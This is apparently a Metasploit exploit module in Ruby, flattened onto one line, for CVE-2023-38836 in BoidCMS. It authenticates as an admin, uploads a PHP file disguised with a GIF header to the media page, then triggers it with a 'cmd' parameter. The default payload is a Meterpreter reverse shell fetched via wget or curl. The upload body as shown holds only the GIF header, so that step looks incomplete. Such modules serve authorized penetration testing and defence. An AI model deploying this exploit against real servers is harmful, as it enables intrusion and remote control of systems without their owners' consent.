## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework # ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'BoidCMS Command Injection', 'Description' => %q{ This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0 and below. BoidCMS allows the authenticated upload of a php file as media if the file has the GIF header, even if the file is a php file. }, 'License' => MSF_LICENSE, 'Author' => [ '1337kid', # Discovery 'bwatters-r7' # Metasploit Module ], 'References' => [ [ 'CVE', '2023-38836' ], [ 'URL', 'https://github.com/1337kid/CVE-2023-38836'] ], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'nix Command', { 'Platform' => ['linux', 'unix', 'python'], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'WGET', 'FETCH_WRITABLE_DIR' => '/tmp' } } ], [ 'Windows Command', { 'Platform' => ['windows', 'python'], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp', 'FETCH_WRITABLE_DIR' => '%TEMP%', 'FETCH_COMMAND' => 'CURL' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-07-13', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The path', '']), OptString.new('CMS_USERNAME', [true, 'Username', 'admin']), OptString.new('CMS_PASSWORD', [true, 'Password', 'password']), OptString.new('PHP_FILENAME', [true, 'The name for the php file to upload', "#{Rex::Text.rand_text_alphanumeric(5..11)}.php"]) ]) @token = nil @shell_filename = nil end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin'), 'keep_cookies' => true, 'method' => 'GET' ) if res && res.code == 200 title = res.get_html_document.xpath('//title').first.to_s return Exploit::CheckCode::Detected('Detected BoidCMS, but the version is unknown.') if title.include?('BoidCMS') end return Exploit::CheckCode::Safe('Unable to retrieve BoidCMS title page') end def extract_token(res) token = nil if res && res.code == 200 token = res.get_html_document.xpath("//input[@name='token']/@value").first end token end def cms_token # initial login return @token unless @token.nil? vprint_status('Getting Token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin'), 'keep_cookies' => true, 'method' => 'GET' ) @token = extract_token(res) end def cms_login?(login_token) vprint_status('Logging into CMS') cms_password = datastore['CMS_PASSWORD'] cms_username = datastore['CMS_USERNAME'] vars_form_data = [ { 'name' => 'username', 'data' => cms_username }, { 'name' => 'password', 'data' => cms_password }, { 'name' => 'login', 'data' => 'Login' }, { 'name' => 'token', 'data' => login_token.to_s } ] res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin'), 'method' => 'POST', 'keep_cookies' => true, 'vars_form_data' => vars_form_data ) res && res.code == 302 end def upload_php?(login_token, shell_filename) vprint_status("Uploading PHP file #{shell_filename}") vars_form_data = [ { 'name' => 'file', 'data' => 'GIF89a;\n', 'filename' => shell_filename }, { 'name' => 'token', 'data' => login_token.to_s }, { 'name' => 'upload', 'data' => 'Upload' } ] res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'admin'), 'method' => 'POST', 'keep_cookies' => true, 'vars_get' => { 'page' => 'media' }, 'vars_form_data' => vars_form_data ) res && res.code == 302 end def launch_payload(shell_filename, payload_cmd) # send the command to the php page vprint_status('launching Payload') send_request_cgi( 'uri' => normalize_uri(target_uri.path, "/media/#{shell_filename}"), 'method' => 'GET', 'keep_cookies' => true, 'vars_get' => { 'cmd' => payload_cmd } ) end def exploit @shell_filename = datastore['PHP_FILENAME'] login_token = cms_token fail_with(Failure::UnexpectedReply, 'Failed to retrieve token for login') if login_token.nil? fail_with(Failure::UnexpectedReply, 'Failed to log in') unless cms_login?(login_token) if upload_php?(login_token, @shell_filename) register_file_for_cleanup @shell_filename launch_payload(@shell_filename, payload.encoded) else fail_with(Failure::UnexpectedReply, 'Failed to upload php files') end end end